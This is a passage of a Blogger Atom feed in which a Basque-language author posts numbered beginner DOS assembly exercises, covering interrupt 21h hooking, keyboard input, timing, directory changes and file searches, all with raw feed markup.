src='https://blogger.googleusercontent.com/tracker/26775186-2451265887405522888?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/2451265887405522888/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=2451265887405522888' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/2451265887405522888'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/2451265887405522888'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2007/07/001e-datuak-mugitu.html' title='001E - Datuak mugitu'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-4593573636227297938</id><published>2007-06-30T04:41:00.000-07:00</published><updated>2007-07-30T04:42:54.587-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='35h'/><category scheme='http://www.blogger.com/atom/ns#' term='25h'/><category scheme='http://www.blogger.com/atom/ns#' term='4ch'/><category scheme='http://www.blogger.com/atom/ns#' term='09h'/><title type='text'>001D - Hook int21h</title><content type='html'>&lt;pre&gt;&lt;br /&gt;title hooked.asm&lt;br /&gt;.model small&lt;br /&gt;&lt;br /&gt;.code&lt;br /&gt;cr equ 0ah&lt;br /&gt;lf equ 0dh&lt;br /&gt;&lt;br /&gt;nagusia proc near&lt;br /&gt;hasi:&lt;br /&gt; mov ax,@code&lt;br /&gt; mov ds, ax&lt;br /&gt;&lt;br /&gt; mov ax,3509h&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt; mov cs:word ptr int21zahar,bx&lt;br /&gt; mov cs:word ptr int21zahar,es&lt;br /&gt; mov ax,2509h&lt;br /&gt; lea dx,int21hberri&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt; mov ah, 4ch&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt;int21hberri:&lt;br /&gt; mov ah,09h&lt;br /&gt; lea dx,mezua&lt;br /&gt; int 21h&lt;br /&gt; jmp cs:int21zahar&lt;br /&gt; mov ax,0cacah&lt;br /&gt; iret&lt;br /&gt;&lt;br /&gt;nagusia endp&lt;br /&gt;mezua db 'Harrapatuta!',cr,lf,'$'&lt;br /&gt;int21zahar dd 0&lt;br /&gt;dta db 128 dup(?)&lt;br /&gt;end hasi&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-4593573636227297938?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/4593573636227297938/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=4593573636227297938' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/4593573636227297938'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/4593573636227297938'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2007/06/001d-hook-int21h.html' title='001D - Hook int21h'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-2909594753055243256</id><published>2007-06-29T04:26:00.000-07:00</published><updated>2007-07-30T04:40:55.397-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='4ch'/><category scheme='http://www.blogger.com/atom/ns#' term='09h'/><title type='text'>001C - Sintaxi laburtua, cs soilik</title><content type='html'>&lt;pre&gt;&lt;br /&gt;title simple.asm&lt;br /&gt;&lt;br /&gt;.model small&lt;br /&gt;&lt;br /&gt;.code&lt;br /&gt;cr equ 0ah&lt;br /&gt;lf equ 0dh&lt;br /&gt;nagusia proc near&lt;br /&gt;hasi:&lt;br /&gt; mov ax,@code&lt;br /&gt; mov ds,ax&lt;br /&gt;&lt;br /&gt; mov ah,09h&lt;br /&gt; lea dx,mezua&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt; mov ah,4ch&lt;br /&gt; int 21h&lt;br /&gt; &lt;br /&gt;nagusia endp&lt;br /&gt;dta db 128 dup(?)&lt;br /&gt;mezua db 'kode segmentua soilik',cr,lf,'$'&lt;br /&gt;end hasi&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-2909594753055243256?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/2909594753055243256/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=2909594753055243256' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/2909594753055243256'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/2909594753055243256'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2007/06/001c-sintaxi-laburtua-cs-soilik.html' title='001C - Sintaxi laburtua, cs soilik'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-3264457656557722315</id><published>2007-06-25T14:34:00.000-07:00</published><updated>2007-07-25T14:35:57.605-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='4ch'/><category scheme='http://www.blogger.com/atom/ns#' term='09h'/><title type='text'>001B - Begizta xinplea eta luzera</title><content type='html'>&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;title begizta.asm&lt;br /&gt;&lt;br /&gt;Datuak segment para public 'data'&lt;br /&gt; mezua db 'Kode hasiera.',0ah,0dh,'$'&lt;br /&gt; zenbakiak db 10,3,2,6,5,3,6,11,9,2&lt;br /&gt; dta db 128 dup(?)&lt;br /&gt; kont db dta-zenbakiak&lt;br /&gt;Datuak ends&lt;br /&gt;&lt;br /&gt;Kodea segment para public 'code'&lt;br /&gt; assume cs:Kodea, ds:Datuak&lt;br /&gt;nagusia proc near&lt;br /&gt;hasi:&lt;br /&gt; mov ax, Datuak&lt;br /&gt; mov ds,ax&lt;br /&gt;&lt;br /&gt; mov cl, kont&lt;br /&gt;&lt;br /&gt; segi:&lt;br /&gt; mov ah,09h&lt;br /&gt; lea  dx,mezua&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt; loop segi&lt;br /&gt;&lt;br /&gt; mov ah,4ch&lt;br /&gt; int 21h&lt;br /&gt;nagusia endp&lt;br /&gt;Kodea ends&lt;br /&gt;end hasi&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-3264457656557722315?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/3264457656557722315/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=3264457656557722315' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/3264457656557722315'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/3264457656557722315'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2007/06/001b-begizta-xinplea-eta-luzera.html' title='001B - Begizta xinplea eta luzera'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-7387953807123427805</id><published>2007-06-24T15:45:00.000-07:00</published><updated>2007-07-23T15:50:25.139-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='4ch'/><category scheme='http://www.blogger.com/atom/ns#' term='2ch'/><category scheme='http://www.blogger.com/atom/ns#' term='09h'/><title type='text'>001A - Denbora kalkulatu</title><content type='html'>&lt;pre&gt;&lt;br /&gt;title 'proba.asm'&lt;br /&gt;&lt;br /&gt;.model small&lt;br /&gt;&lt;br /&gt;.data&lt;br /&gt; mezua db 'Denbora kalkulatzen ari naiz...',10,13,'$'&lt;br /&gt; orduak db ?&lt;br /&gt; minutuak db ?&lt;br /&gt; segunduak db ?&lt;br /&gt; msegunduak db ?&lt;br /&gt;&lt;br /&gt;.code&lt;br /&gt;nagusia proc near&lt;br /&gt;hasi:&lt;br /&gt; mov ax, @data&lt;br /&gt; mov ds, ax&lt;br /&gt;&lt;br /&gt; ; Denbora kalkulatzera goaz&lt;br /&gt; mov ah,2ch&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt; mov orduak,ch&lt;br /&gt; mov minutuak,cl&lt;br /&gt; mov segunduak,dh&lt;br /&gt; mov msegunduak,dl&lt;br /&gt;&lt;br /&gt; call agurra&lt;br /&gt;&lt;br /&gt;; ezberdintasuna kalkulatzen da&lt;br /&gt; sub dl,msegunduak&lt;br /&gt; jnc  sub_seg&lt;br /&gt; add dl,100&lt;br /&gt; dec dh&lt;br /&gt;&lt;br /&gt;sub_seg:&lt;br /&gt; sub dh,segunduak&lt;br /&gt; jnc sub_min&lt;br /&gt; add dh, 60&lt;br /&gt; dec cl&lt;br /&gt;&lt;br /&gt;sub_min:&lt;br /&gt; sub cl,minutuak&lt;br /&gt; jnc sub_ord&lt;br /&gt; add cl,60&lt;br /&gt; dec ch&lt;br /&gt;&lt;br /&gt;sub_ord:&lt;br /&gt; sub ch, orduak&lt;br /&gt; jnc ok&lt;br /&gt; add ch,24&lt;br /&gt;&lt;br /&gt;ok:&lt;br /&gt; ; irten&lt;br /&gt; mov ah,4ch&lt;br /&gt; int 21h&lt;br /&gt;nagusia endp&lt;br /&gt;&lt;br /&gt;agurra proc near&lt;br /&gt; xor ax,ax&lt;br /&gt; mov ah,09h&lt;br /&gt; lea dx, mezua&lt;br /&gt; int 21h&lt;br /&gt; mov cx,100&lt;br /&gt; rep nop&lt;br /&gt; ret&lt;br /&gt;agurra endp&lt;br /&gt;end hasi&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-7387953807123427805?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/7387953807123427805/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=7387953807123427805' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/7387953807123427805'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/7387953807123427805'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2007/07/001a-denbora-kalkulatu.html' title='001A - Denbora kalkulatu'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-2887939945212168723</id><published>2007-06-23T15:22:00.000-07:00</published><updated>2007-07-23T15:26:30.704-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='4ch'/><category scheme='http://www.blogger.com/atom/ns#' term='int 16h'/><category scheme='http://www.blogger.com/atom/ns#' term='09h'/><title type='text'>0019 - Teklatuaren  zain, bios</title><content type='html'>&lt;pre&gt;&lt;br /&gt;title 'itxtekla.asm'&lt;br /&gt;.model  small&lt;br /&gt;&lt;br /&gt;.data&lt;br /&gt; mezua db 'Egon, tekla sakatu arte:',10,13,'$'&lt;br /&gt; &lt;br /&gt;.code&lt;br /&gt;nagusia proc near&lt;br /&gt;hasi:&lt;br /&gt; mov ax, @data&lt;br /&gt; mov ds, ax&lt;br /&gt; &lt;br /&gt; ;mezua&lt;br /&gt; mov ah,09h&lt;br /&gt; lea dx, mezua&lt;br /&gt; int 21h&lt;br /&gt; &lt;br /&gt; ; teklaren zain: BIOSAREKIN&lt;br /&gt; mov ah,00h&lt;br /&gt; int 16h&lt;br /&gt; &lt;br /&gt; ;irten&lt;br /&gt; mov ah,4ch&lt;br /&gt; int 21h&lt;br /&gt;nagusia endp&lt;br /&gt;end hasi&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-2887939945212168723?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/2887939945212168723/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=2887939945212168723' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/2887939945212168723'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/2887939945212168723'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2007/06/0019-teklatuaren-zain-bios.html' title='0019 - Teklatuaren  zain, bios'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-2111677831686464446</id><published>2007-06-22T15:19:00.000-07:00</published><updated>2007-07-22T15:21:20.451-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='4ch'/><category scheme='http://www.blogger.com/atom/ns#' term='09h'/><category scheme='http://www.blogger.com/atom/ns#' term='0ah'/><title type='text'>0018 - Teklatukoa irakurri eta atera</title><content type='html'>&lt;pre&gt;&lt;br /&gt;title logtekla.asm&lt;br /&gt;&lt;br /&gt;Datuak segment para public 'data'&lt;br /&gt; mezua db 'Teklatutik jaso',10,13,'$'&lt;br /&gt; mezua2 db 'Jasotakoa:',10,13,'$'&lt;br /&gt; log db 15,0,'...............','$'&lt;br /&gt; ;log db 128 dup(?)&lt;br /&gt;Datuak ends&lt;br /&gt;&lt;br /&gt;Kodea segment para public 'code'&lt;br /&gt; assume cs:Kodea,ds:Kodea&lt;br /&gt;nagusia proc near&lt;br /&gt;hasi:&lt;br /&gt;&lt;br /&gt; mov ax,Datuak&lt;br /&gt; mov ds,ax&lt;br /&gt;&lt;br /&gt; ; mezua atera&lt;br /&gt; mov ah,09h&lt;br /&gt; lea dx,mezua&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt; ; teklatutik irakurri&lt;br /&gt; mov ah, 0ah&lt;br /&gt; lea dx, log&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt; ; irakurritakoa atera&lt;br /&gt; mov ah,09h&lt;br /&gt; lea dx,mezua2&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt; ; irakurritakoa atera&lt;br /&gt; mov ah,09h&lt;br /&gt; lea dx,log&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt; irten:&lt;br /&gt; mov ah,4ch&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt;nagusia endp&lt;br /&gt;Kodea ends&lt;br /&gt;end hasi&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-2111677831686464446?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/2111677831686464446/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=2111677831686464446' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/2111677831686464446'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/2111677831686464446'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2007/06/0018-teklatukoa-irakurri-eta-atera.html' title='0018 - Teklatukoa irakurri eta atera'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-1998907934544820437</id><published>2007-06-22T15:03:00.000-07:00</published><updated>2007-07-22T15:05:52.136-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='4ch'/><category scheme='http://www.blogger.com/atom/ns#' term='4fh'/><category scheme='http://www.blogger.com/atom/ns#' term='09h'/><category scheme='http://www.blogger.com/atom/ns#' term='1ah'/><category scheme='http://www.blogger.com/atom/ns#' term='4eh'/><title type='text'>0017 - Direktorioak lortu</title><content type='html'>&lt;pre&gt;&lt;br /&gt;title direkto.asm&lt;br /&gt;&lt;br /&gt;Datuak segment para public 'data'&lt;br /&gt; mezua db 'Direktorioa topatua',10,13,'$'&lt;br /&gt; izena db '*',0&lt;br /&gt; dta db 128 dup(?)&lt;br /&gt;Datuak ends&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Kodea segment para public 'code'&lt;br /&gt; assume cs:Kodea,ds:Datuak&lt;br /&gt;&lt;br /&gt;nagusia proc near&lt;br /&gt;hasi:&lt;br /&gt;&lt;br /&gt; mov ax,Datuak&lt;br /&gt; mov ds,ax&lt;br /&gt;&lt;br /&gt; ;dta ezarri&lt;br /&gt; mov ah,1ah&lt;br /&gt; lea dx, dta&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt; ;bilatu&lt;br /&gt; mov ah,4eh&lt;br /&gt; segi:&lt;br /&gt; xor cx,cx&lt;br /&gt; lea dx, izena&lt;br /&gt; ; atributua ez dago ongi, teorian 4bita aktibatuta...&lt;br /&gt; mov cl,00010000b&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt; jc irten&lt;br /&gt; &lt;br /&gt; ;atera izena&lt;br /&gt; mov byte ptr offset dta+43,'$' ; null gehitu&lt;br /&gt; mov dx,OFFSET dta+30  ; izena atera&lt;br /&gt; mov ah,09h   ; pantailaratu&lt;br /&gt; int 21h  &lt;br /&gt;&lt;br /&gt; mov ah,4fh&lt;br /&gt; jmp segi&lt;br /&gt;&lt;br /&gt; irten:&lt;br /&gt; mov ah,4ch&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt;nagusia endp&lt;br /&gt;Kodea ends&lt;br /&gt;end hasi&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-1998907934544820437?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/1998907934544820437/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=1998907934544820437' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/1998907934544820437'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/1998907934544820437'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2007/06/0017-direktorioak-lortu.html' title='0017 - Direktorioak lortu'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-8516813487187010766</id><published>2007-06-19T14:21:00.000-07:00</published><updated>2007-07-20T14:25:35.520-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='4ch'/><category scheme='http://www.blogger.com/atom/ns#' term='09h'/><category scheme='http://www.blogger.com/atom/ns#' term='01h'/><title type='text'>0016 - Karakterea irakurri eta idatzi</title><content type='html'>&lt;pre&gt;&lt;br /&gt;; tekla.asm&lt;br /&gt;&lt;br /&gt;; karakterea irakurri eta idatzi&lt;br /&gt;&lt;br /&gt;.model small&lt;br /&gt;&lt;br /&gt;.data&lt;br /&gt;mezua db 'Ok, tecla pulsada: x'&lt;br /&gt;   db 10,13,'$'&lt;br /&gt;&lt;br /&gt;.code&lt;br /&gt;tekla proc near&lt;br /&gt;hasi:&lt;br /&gt; push ax&lt;br /&gt; push ds&lt;br /&gt; mov ax, @data&lt;br /&gt; mov ds,ax&lt;br /&gt;&lt;br /&gt; mov ah,01h&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt; mov cl,al&lt;br /&gt;&lt;br /&gt; ; pantalilatik atera&lt;br /&gt; mov ah,09h&lt;br /&gt; lea si,mezua&lt;br /&gt; mov si[19],cl&lt;br /&gt; lea dx,mezua&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt; ;irteera&lt;br /&gt; mov ah,4ch&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt;tekla endp&lt;br /&gt;end hasi&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-8516813487187010766?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/8516813487187010766/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=8516813487187010766' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/8516813487187010766'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/8516813487187010766'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2007/06/0016-karakterea-irakurri-eta-idatzi.html' title='0016 - Karakterea irakurri eta idatzi'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-319012761073630387</id><published>2007-06-18T15:11:00.000-07:00</published><updated>2007-07-18T15:15:34.944-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='4ch'/><category scheme='http://www.blogger.com/atom/ns#' term='47h'/><category scheme='http://www.blogger.com/atom/ns#' term='3bh'/><title type='text'>0015 - Direktorioa lortu, aldatu</title><content type='html'>&lt;pre&gt;&lt;br /&gt;title mugitu.asm&lt;br /&gt;&lt;br /&gt;Datuak segment para public 'data'&lt;br /&gt;mezua db 'Ok, mugitu gara',10,13,'$'&lt;br /&gt;dta db 128 dup(?)&lt;br /&gt;izena db 66 dup(?)&lt;br /&gt;aldatu db '..',0&lt;br /&gt;Datuak ends&lt;br /&gt;&lt;br /&gt;Kodea segment para public 'code'&lt;br /&gt; assume cs:Kodea,ds:Datuak&lt;br /&gt;nagusia proc near&lt;br /&gt;hasi:&lt;br /&gt; push ax&lt;br /&gt; push ds&lt;br /&gt; mov   ax,Datuak&lt;br /&gt;        mov   ds,ax&lt;br /&gt;&lt;br /&gt; ; momentuko direktorioa lortu&lt;br /&gt; xor ax,ax&lt;br /&gt; mov ah, 47h&lt;br /&gt; mov dl,00h&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt; mov cx,64&lt;br /&gt;&lt;br /&gt; ; mugitu&lt;br /&gt; mov ah,3bh&lt;br /&gt; lea dx,aldatu&lt;br /&gt; int 21h&lt;br /&gt; &lt;br /&gt; ; atera kokapena&lt;br /&gt; mov ah, 47h&lt;br /&gt; mov dl,00h&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt; ; irten&lt;br /&gt; mov ah,4ch&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt;nagusia endp&lt;br /&gt;Kodea ends&lt;br /&gt;end hasi&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26775186-319012761073630387?l=killkir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://killkir.blogspot.com/feeds/319012761073630387/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26775186&amp;postID=319012761073630387' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/319012761073630387'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26775186/posts/default/319012761073630387'/><link rel='alternate' type='text/html' href='http://killkir.blogspot.com/2007/07/0015-direktorioa-lortu-aldatu.html' title='0015 - Direktorioa lortu, aldatu'/><author><name>killkir</name><uri>http://www.blogger.com/profile/06307838930541695882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://bp1.blogger.com/_wsJdvmCIS8o/RqUspnz0QEI/AAAAAAAAAAM/ZJvc6Y-t4CM/s320/biohazard.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26775186.post-7654016826552207954</id><published>2007-05-30T15:46:00.000-07:00</published><updated>2007-07-18T15:14:36.767-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='4ch'/><category scheme='http://www.blogger.com/atom/ns#' term='4fh'/><category scheme='http://www.blogger.com/atom/ns#' term='09h'/><category scheme='http://www.blogger.com/atom/ns#' term='1ah'/><category scheme='http://www.blogger.com/atom/ns#' term='4eh'/><title type='text'>0014 - Bilatu eta izena atera</title><content type='html'>&lt;pre&gt;&lt;br /&gt;; bilatu.asm&lt;br /&gt;; izen bat daukan fitxategia bilatzen du, 4eh bitartezt&lt;br /&gt;title bilatu.asm&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Datuak segment para public 'data'&lt;br /&gt; izenak db '*.OBJ',0&lt;br /&gt; mezua db 'OK, fitxategia topatua!',10,13,'$'&lt;br /&gt; fitxategi db 'aaaaaaaaa.aaa'&lt;br /&gt; DTA  db 128 dup(?)&lt;br /&gt;Datuak ends&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Kodea segment para public 'code'&lt;br /&gt;&lt;br /&gt; assume cs:Kodea, ds:Datuak, es:Datuak&lt;br /&gt;&lt;br /&gt;nagusia proc near&lt;br /&gt;&lt;br /&gt;hasi:&lt;br /&gt;&lt;br /&gt; push ax&lt;br /&gt; push ds&lt;br /&gt; mov ax, Datuak&lt;br /&gt; mov ds, ax&lt;br /&gt; mov es, ax&lt;br /&gt;&lt;br /&gt; ; DTA ezartzen dugu&lt;br /&gt; mov dx,offset DTA  &lt;br /&gt; mov ah,1aH   &lt;br /&gt; int 21h  &lt;br /&gt;&lt;br /&gt;bilatulehena:&lt;br /&gt;&lt;br /&gt; mov ah,4eh&lt;br /&gt;&lt;br /&gt;segibilatzen:&lt;br /&gt;&lt;br /&gt; lea dx,izenak&lt;br /&gt; int 21h&lt;br /&gt; jc irten&lt;br /&gt;&lt;br /&gt;topatua:&lt;br /&gt;&lt;br /&gt; ; Izena pantailaratu&lt;br /&gt; mov byte ptr offset DTA+43,'$' ; null gehitu&lt;br /&gt; mov dx,OFFSET DTA+30  ; izena atera&lt;br /&gt; mov ah,09h   ; pantailaratu&lt;br /&gt; int 21h  &lt;br /&gt;&lt;br /&gt; ; mezua atera&lt;br /&gt; mov ah,09h&lt;br /&gt; lea  dx,mezua&lt;br /&gt; int 21h&lt;br /&gt;&lt;br /&gt; ; hurrengoa bilatzen dugu&lt;br /&gt; mov ah,4fh&lt;br /&gt; jmp segibilatzen&lt;br /&gt;&lt;br /&gt;irten:&lt;br /&gt; mov ah,4ch&lt;br 